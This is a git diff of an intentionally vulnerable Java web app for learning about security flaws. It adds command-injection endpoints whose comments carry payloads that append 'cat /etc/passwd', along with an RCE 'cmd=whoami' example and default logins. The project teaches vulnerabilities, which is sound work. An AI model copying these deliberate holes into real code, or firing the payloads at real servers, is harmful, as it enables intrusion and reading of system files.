diff --git a/.gitignore b/.gitignore index d83c1fbc..2b8dab5d 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,8 @@ .DS_Store target/ other-vuls/ -*.iml \ No newline at end of file +docker/ +poc/ +src/main/java/org/joychou/test/ +*.iml +docker_jdk_build.sh \ No newline at end of file diff --git a/README.md b/README.md index e32e9b2e..5799c51b 100644 --- a/README.md +++ b/README.md @@ -1,109 +1,204 @@ -# Java Security Code +# Java Sec Code -## 介绍 -该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 +Java sec code is a very powerful and friendly project for learning Java vulnerability code. -每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) -## 漏洞代码 +## Introduce -- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +This project can also be called Java vulnerability code. + +Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. + +[Online demo](http://118.25.15.216:8080) + +Login username & password: + +``` +admin/admin123 +joychou/joychou123 +``` + + +## Vulnerability Code + +Sort by letter. + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) -- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) -- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) -- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) -- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) -- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) -- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) -- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) -- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) -- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) -- [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -## 漏洞说明 -- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) -- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) -- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) + +## Vulnerability Description + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) +## How to run -## 如何运行 +The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password except docker environment. +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` -### Tomcat +- Docker +- IDEA +- Tomcat +- JAR -1. 生成war包 `mvn clean package` -2. 将target目录的war包,cp到Tomcat的webapps目录 -3. 重启Tomcat应用 +### Docker -``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami -``` - -返回 +Start docker: ``` -Viarus +docker-compose pull +docker-compose up ``` -### IDEA -如果想在IDEA中直接运行,需要在IDEA中添加Tomcat配置,步骤如下: +Stop docker: ``` -Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择java-sec-code:war exploded +docker-compose down ``` -![tomcat](https://github.com/JoyChou93/java-sec-code/raw/master/idea-tomcat.png) +Docker's environment: -配置完成后,右上角直接点击run,即可运行。 +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 + + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- Open in IDEA and click `run` button. + +Example: ``` http://localhost:8080/rce/exec?cmd=whoami ``` - -返回 -``` +return: + +``` Viarus ``` ---- +### Tomcat -有人反馈不想额外下载Tomcat,想使用SpringBoot自带的Tomcat,所以额外说明。 +- `git clone https://github.com/JoyChou93/java-sec-code` & `cd java-sec-code` +- Build war package by `mvn clean package`. +- Copy war package to tomcat webapps directory. +- Start tomcat application. -具体操作:执行`cp pom-idea.xml pom.xml`后,最后在IDEA中右键`Run Application`。 +Example: -### Jar包 +``` +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +``` +return: -有人反馈想直接打Jar包运行。具体操作: +``` +Viarus +``` -先修改pom.xml里的配置,将war改成jar -``` - sec - java-sec-code - 1.0.0 - war +### JAR + +Change `war` to `jar` in `pom.xml`. + +```xml +sec +java-sec-code +1.0.0 +war ``` -再打包运行即可。 +Build package and run. ``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code mvn clean package -DskipTests -java -jar 打包后的jar包路径 +java -jar target/java-sec-code-1.0.0.jar +``` + +## Authenticate + +### Login + +[http://localhost:8080/login](http://localhost:8080/login) + +If you are not logged in, accessing any page will redirect you to the login page. The username & password are as follows. + ``` +admin/admin123 +joychou/joychou123 +``` + +### Logout + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### RememberMe + +Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-operational session will expire. In order to solve this problem, the rememberMe function is introduced, and the default expiration time is 2 weeks. + + +## Contributors + +Core developers : [JoyChou](https://github.com/JoyChou93). +Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). + + +## Donate + +If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. + +### Alipay + +Scan the QRcode to support `Java sec code`. + + diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 00000000..72477885 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,196 @@ +# Java Sec Code + +对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 + +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) + +## 介绍 + +该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 + +每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 + +[在线Demo](http://118.25.15.216:8080) + +登录用户名密码: + +``` +admin/admin123 +joychou/joychou123 +``` + +## 漏洞代码 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) + + +## 漏洞说明 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) + + +## 如何运行 + +应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码(除非是Docker环境)。 + +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` + +- Docker +- IDEA +- Tomcat +- JAR + +### Docker + +开启应用: + +``` +docker-compose pull +docker-compose up +``` + +关闭应用: + +``` +docker-compose down +``` + +Docker环境: + +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- 在IDEA中打开,直接点击run按钮即可运行。 + +例子: + +``` +http://localhost:8080/rce/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + +### Tomcat + +1. `git clone https://github.com/JoyChou93/java-sec-code & cd java-sec-code` +2. 生成war包 `mvn clean package` +3. 将target目录的war包,cp到Tomcat的webapps目录 +4. 重启Tomcat应用 + + +例子: + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + + +### JAR包 + + +先修改pom.xml里的配置,将war改成jar。 + +``` + sec + java-sec-code + 1.0.0 + war +``` + +再打包运行即可。 + +``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code +mvn clean package -DskipTests +java -jar 打包后的jar包路径 +``` + +## 认证 + +### 登录 + +[http://localhost:8080/login](http://localhost:8080/login) + +如果未登录,访问任何页面都会重定向到login页面。用户名和密码如下。 + +``` +admin/admin123 +joychou/joychou123 +``` +### 登出 + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### 记住我 + +Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能,默认过期时间为2周。 + + +## 贡献者 + +核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 + +## 捐赠 + +如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 + +### Alipay + +扫描支付宝二维码支持`Java sec code`。 + + diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..cb3f8efa --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,13 @@ +version : '2' +services: + jsc: + image: joychou/jsc:latest + ports: + - "8080:8080" + links: + - j_mysql + + j_mysql: + image: joychou/jsc_mysql:latest + ports: + - "3306:3306" diff --git a/idea-tomcat.png b/idea-tomcat.png deleted file mode 100644 index 5d0504f4..00000000 Binary files a/idea-tomcat.png and /dev/null differ diff --git a/java-sec-code.iml b/java-sec-code.iml index 2cf50e4e..0140638a 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -41,7 +41,6 @@ - @@ -55,18 +54,13 @@ - - - - - @@ -106,7 +100,7 @@ - + @@ -125,7 +119,6 @@ - @@ -161,9 +154,44 @@ - + + + + + + + + + + + + + + + + + + + + + + + + - + + + + + + + + + + + + + \ No newline at end of file diff --git a/pom-extra.xml b/pom-extra.xml deleted file mode 100644 index d91e6c0e..00000000 --- a/pom-extra.xml +++ /dev/null @@ -1,139 +0,0 @@ - - - 4.0.0 - - sec - java-sec-code - 1.0.0 - war - - - - org.springframework.boot - spring-boot-starter-parent - 1.5.1.RELEASE - - - - - org.springframework.boot - spring-boot-starter-web - - - - org.springframework.boot - spring-boot-starter-tomcat - - - - - - - org.apache.tomcat - tomcat-servlet-api - 8.0.36 - provided - - - - - org.springframework.boot - spring-boot-starter-thymeleaf - - - - - mysql - mysql-connector-java - 8.0.12 - - - - - - com.alibaba - fastjson - 1.2.24 - - - - - - - org.jdom - jdom2 - 2.0.6 - - - - - org.dom4j - dom4j - 2.1.1 - - - - - - com.google.guava - guava - 21.0 - - - - commons-collections - commons-collections - 3.1 - - - - commons-lang - commons-lang - 2.4 - - - org.apache.httpcomponents - httpclient - 4.3.6 - - - org.apache.httpcomponents - fluent-hc - 4.3.6 - - - - - org.apache.logging.log4j - log4j-core - 2.8.2 - - - - com.squareup.okhttp - okhttp - 2.5.0 - - - - - org.apache.commons - commons-digester3 - 3.2 - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - - - - \ No newline at end of file diff --git a/pom-idea.xml b/pom-idea.xml deleted file mode 100644 index 44a3b87d..00000000 --- a/pom-idea.xml +++ /dev/null @@ -1,125 +0,0 @@ - - - 4.0.0 - - sec - java-sec-code - 1.0.0 - war - - - - org.springframework.boot - spring-boot-starter-parent - 1.5.1.RELEASE - - - - - org.springframework.boot - spring-boot-starter-web - - - - - - org.springframework.boot - spring-boot-starter-thymeleaf - - - - - mysql - mysql-connector-java - 8.0.12 - - - - - - com.alibaba - fastjson - 1.2.24 - - - - - - - org.jdom - jdom2 - 2.0.6 - - - - - org.dom4j - dom4j - 2.1.1 - - - - - - com.google.guava - guava - 21.0 - - - - commons-collections - commons-collections - 3.1 - - - - commons-lang - commons-lang - 2.4 - - - org.apache.httpcomponents - httpclient - 4.3.6 - - - org.apache.httpcomponents - fluent-hc - 4.3.6 - - - - - org.apache.logging.log4j - log4j-core - 2.8.2 - - - - com.squareup.okhttp - okhttp - 2.5.0 - - - - - org.apache.commons - commons-digester3 - 3.2 - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index b2aa7838..65c1d5bf 100644 --- a/pom.xml +++ b/pom.xml @@ -7,7 +7,12 @@ sec java-sec-code 1.0.0 - war + jar + + + 1.8 + 1.8 + @@ -84,6 +89,7 @@ httpclient 4.3.6 + org.apache.httpcomponents fluent-hc @@ -136,6 +142,80 @@ 3.1.4 + + + org.springframework.security + spring-security-web + 4.2.12.RELEASE + + + + org.springframework.security + spring-security-config + 4.2.12.RELEASE + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + + + commons-net + commons-net + 3.6 + + + + + commons-httpclient + commons-httpclient + 3.1 + + + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + + + + org.apache.velocity + velocity + 1.7 + + + + + com.thoughtworks.xstream + xstream + 1.4.10 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.10-FINAL + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 3b05f723..41169b9a 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -3,12 +3,14 @@ import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; import org.springframework.cloud.netflix.eureka.EnableEurekaClient; +@ServletComponentScan // do filter @SpringBootApplication -@EnableEurekaClient +// @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning public class Application extends SpringBootServletInitializer { @Override diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java new file mode 100644 index 00000000..cd4770d4 --- /dev/null +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -0,0 +1,55 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + + +/** + * Solve can't get value in filter by @Value when not using embed tomcat. + * + * @author JoyChou @2019-07-24 + */ +@Component +public class WebConfig { + + private static Boolean referSecEnabled = false; + private static String[] callbacks; + private static String[] referWhitelist; + private static String[] referUris; + + @Value("${joychou.security.referer.enabled}") + public void setReferSecEnabled(Boolean referSecEnabled){ + WebConfig.referSecEnabled = referSecEnabled; + } + public static Boolean getReferSecEnabled(){ + return referSecEnabled; + } + + + @Value("${joychou.security.jsonp.callback}") + public void setCallbacks(String[] callbacks){ + WebConfig.callbacks = callbacks; + } + public static String[] getCallbacks(){ + return callbacks; + } + + + @Value("${joychou.security.referer.hostwhitelist}") + public void setReferWhitelist(String[] referWhitelist){ + WebConfig.referWhitelist = referWhitelist; + } + public static String[] getReferWhitelist(){ + return referWhitelist; + } + + + @Value("${joychou.security.referer.uri}") + public void setReferUris(String[] referUris) + { + WebConfig.referUris = referUris; + } + public static String[] getReferUris(){ + return referUris; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 2974b64a..35d2a178 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -1,21 +1,21 @@ package org.joychou.controller; -import org.joychou.utils.Security; -import org.springframework.stereotype.Controller; +import org.joychou.security.SecurityUtil; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.controller.jsonp.JSONP; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** - * @author: JoyChou - * @date: 2018年10月24日 - * @desc: https://github.com/JoyChou93/java-sec-code/wiki/CORS + * @author JoyChou (joychou@joychou.org) + * @date 2018.10.24 + * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS */ -@Controller +@RestController @RequestMapping("/cors") public class CORS { @@ -23,7 +23,6 @@ public class CORS { protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; @RequestMapping("/vuls1") - @ResponseBody private static String vuls1(HttpServletRequest request, HttpServletResponse response) { // 获取Header中的Origin String origin = request.getHeader("origin"); @@ -33,7 +32,6 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp } @RequestMapping("/vuls2") - @ResponseBody private static String vuls2(HttpServletResponse response) { // 不建议设置为* // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 @@ -43,25 +41,23 @@ private static String vuls2(HttpServletResponse response) { @CrossOrigin("*") @RequestMapping("/vuls3") - @ResponseBody private static String vuls3(HttpServletResponse response) { return info; } + @RequestMapping("/sec") - @ResponseBody - private static String seccode(HttpServletRequest request, HttpServletResponse response) { + public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); - Security sec = new Security(); // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && !sec.checkSafeUrl(origin, urlwhitelist) ) { + if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); - return info; + return JSONP.getUserInfo2JsonStr(request); } diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index 01668290..b0e9af4c 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -9,9 +9,9 @@ import javax.servlet.http.HttpServletResponse; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.03 - * @desc: Java 1.7/1.8没有CRLF漏洞 (test in Java 1.7/1.8) + * @author JoyChou (joychou@joychou.org) + * @date 2018.01.03 + * @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8) */ @Controller diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java new file mode 100644 index 00000000..5481260e --- /dev/null +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * check csrf using spring-security + * Access http://localhost:8080/csrf/ -> click submit + * + * @author JoyChou (joychou@joychou.org) @2019-05-31 + */ +@Controller +@RequestMapping("/csrf") +public class CSRF { + + @GetMapping("/") + public String index() { + return "form"; + } + + @PostMapping("/post") + @ResponseBody + public String post() { + return "CSRF passed."; + } +} diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java new file mode 100644 index 00000000..f4901b87 --- /dev/null +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -0,0 +1,64 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; + +@RestController +public class CommandInject { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd + * + * @param filepath filepath + * @return result + */ + @GetMapping("/codeinject") + public static String codeInject(String filepath) throws IOException { + + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + /** + * Host Injection + * Host: hacked by joychou;cat /etc/passwd + * http://localhost:8080/codeinject/host + * + */ + @GetMapping("/codeinject/host") + public String codeInjectHost(HttpServletRequest request) throws IOException { + + String host = request.getHeader("host"); + logger.info(host); + String[] cmdList = new String[]{"sh", "-c", "curl " + host}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + @GetMapping("/codeinject/sec") + public static String codeInjectSec(String filepath) throws IOException { + String filterFilePath = SecurityUtil.cmdFilter(filepath); + if (null == filterFilePath) { + return "Bad boy. I got u."; + } + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } +} diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java new file mode 100644 index 00000000..5a32b191 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -0,0 +1,81 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RestController; +import static org.springframework.web.util.WebUtils.getCookie; + +@RestController +@RequestMapping("/cookie") +public class Cookies { + + private static String NICK = "nick"; + + @RequestMapping(value = "/vuln01") + private String vuln01(HttpServletRequest req) { + String nick = WebUtils.getCookieValueByName(req, NICK); // key code + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln02") + private String vuln02(HttpServletRequest req) { + String nick = null; + Cookie[] cookie = req.getCookies(); + + if (cookie != null) { + nick = getCookie(req, NICK).getValue(); // key code + } + + return "Cookie nick: " + nick; + } + + + 